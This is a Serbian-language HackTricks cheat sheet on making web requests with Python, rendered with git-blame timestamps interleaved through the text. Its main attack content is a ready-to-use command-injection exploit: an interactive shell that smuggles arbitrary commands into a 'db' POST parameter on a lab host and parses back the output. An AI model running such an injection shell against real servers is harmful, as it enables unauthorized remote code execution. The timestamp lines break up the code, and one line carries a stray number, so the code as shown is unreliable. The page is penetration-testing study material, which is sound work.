2024-02-10 13:11:20 +00:00
# Web zahtevi
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-30 20:49:23 +00:00
2024-04-07 04:23:52 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-03-29 21:14:05 +00:00
* Otkrijte [**Porodicu PEASS** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
2024-03-17 16:33:13 +00:00
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >
2024-04-07 04:23:52 +00:00
< figure > < img src = "../../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-03 15:41:02 +00:00
\
2024-03-17 16:33:13 +00:00
Koristite [**Trickest** ](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks ) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
2024-02-10 13:11:20 +00:00
Dobijte pristup danas:
2023-09-03 15:41:02 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2024-03-17 16:33:13 +00:00
## Python Zahtevi
2020-07-15 15:43:14 +00:00
```python
import requests
url = "http://example.com:80/some/path.php"
params = {"p1":"value1", "p2":"value2"}
headers = {"User-Agent": "fake User Agent", "Fake header": "True value"}
2020-07-21 20:33:19 +00:00
cookies = {"PHPSESSID": "1234567890abcdef", "FakeCookie123": "456"}
2020-07-15 15:43:14 +00:00
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
#Regular Get requests sending parameters (params)
gr = requests.get(url, params=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True)
code = gr.status_code
ret_headers = gr.headers
body_byte = gr.content
body_text = gr.text
ret_cookies = gr.cookies
is_redirect = gr.is_redirect
is_permanent_redirect = gr.is_permanent_redirect
2020-11-11 23:57:21 +00:00
float_seconds = gr.elapsed.total_seconds() 10.231
2020-07-15 15:43:14 +00:00
#Regular Post requests sending parameters (data)
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Json Post requests sending parameters(json)
pr = requests.post(url, json=params, headers=headers, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
#Post request sending a file(files) and extra values
filedict = {"< FILE_PARAMETER_NAME > " : ("filename.png", open("filename.png", 'rb').read(), "image/png")}
pr = requests.post(url, data={"submit": "submit"}, files=filedict)
2021-01-20 13:19:44 +00:00
2022-09-13 00:22:09 +00:00
#Useful for presenting results in boolean/time based injections
2021-01-20 13:21:55 +00:00
print(f"\rflag: {flag}{char}", end="")
2022-06-15 20:54:51 +00:00
##### Example Functions
target = "http://10.10.10.10:8000"
proxies = {}
s = requests.Session()
def register(username, password):
2024-02-10 13:11:20 +00:00
resp = s.post(target + "/register", data={"username":username, "password":password, "submit": "Register"}, proxies=proxies, verify=0)
return resp
2022-06-15 20:54:51 +00:00
def login(username, password):
2024-02-10 13:11:20 +00:00
resp = s.post(target + "/login", data={"username":username, "password":password, "submit": "Login"}, proxies=proxies, verify=0)
return resp
2022-06-15 20:54:51 +00:00
def get_info(name):
2024-02-10 13:11:20 +00:00
resp = s.post(target + "/projects", data={"name":name, }, proxies=proxies, verify=0)
guid = re.match('< a href = " \/info \/([^" ]*)" > ' + name + '</ a > ', resp.text)[1]
return guid
2022-06-15 20:54:51 +00:00
def upload(guid, filename, data):
2024-02-10 13:11:20 +00:00
resp = s.post(target + "/upload/" + guid, data={"submit": "upload"}, files={"file":(filename, data)}, proxies=proxies, verify=0)
guid = re.match('"' + filename + '": "([^"]*)"', resp.text)[1]
return guid
2022-06-15 20:54:51 +00:00
def json_search(guid, search_string):
2024-02-10 13:11:20 +00:00
resp = s.post(target + "/api/search/" + guid + "/", json={"search":search_string}, headers={"Content-Type": "application/json"}, proxies=proxies, verify=0)
return resp.json()
2022-06-15 20:54:51 +00:00
def get_random_string(guid, path):
2024-02-10 13:11:20 +00:00
return ''.join(random.choice(string.ascii_letters) for i in range(10))
2020-07-15 15:43:14 +00:00
```
2024-03-29 21:14:05 +00:00
## Python naredba za iskorišćavanje udaljenog izvršenja koda (RCE)
2020-07-15 15:43:14 +00:00
```python
import requests
import re
from cmd import Cmd
class Terminal(Cmd):
2024-02-10 13:11:20 +00:00
prompt = "Inject => "
2020-07-15 15:43:14 +00:00
2024-02-10 13:11:20 +00:00
def default(self, args):
output = RunCmd(args)
print(output)
2020-07-15 15:43:14 +00:00
def RunCmd(cmd):
2024-02-10 13:11:20 +00:00
data = { 'db': f'lol; echo -n "MYREGEXP"; {cmd}; echo -n "MYREGEXP2"' }
r = requests.post('http://10.10.10.127/select', data=data)
page = r.text
m = re.search('MYREGEXP(.*?)MYREGEXP2', page, re.DOTALL)
if m:
return m.group(1)
else:
return 1
2020-07-15 15:43:14 +00:00
term = Terminal()
term.cmdloop()
```
2024-04-07 04:23:52 +00:00
< figure > < img src = "../../.gitbook/assets/image (45).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-03 15:41:02 +00:00
\
2024-04-07 04:23:52 +00:00
Koristite [**Trickest** ](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks ) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
2024-03-17 16:33:13 +00:00
Pristupite danas:
2023-09-03 15:41:02 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-10 13:11:20 +00:00
< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
Drugi načini podrške HackTricks-u:
2023-12-30 20:49:23 +00:00
2024-04-07 04:23:52 +00:00
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU** ](https://github.com/sponsors/carlospolop )!
2024-02-10 13:11:20 +00:00
* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-04-07 04:23:52 +00:00
* Otkrijte [**Porodicu PEASS** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live** ](https://twitter.com/hacktricks_live )**.**
2024-02-10 13:11:20 +00:00
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
2022-04-28 16:01:33 +00:00
< / details >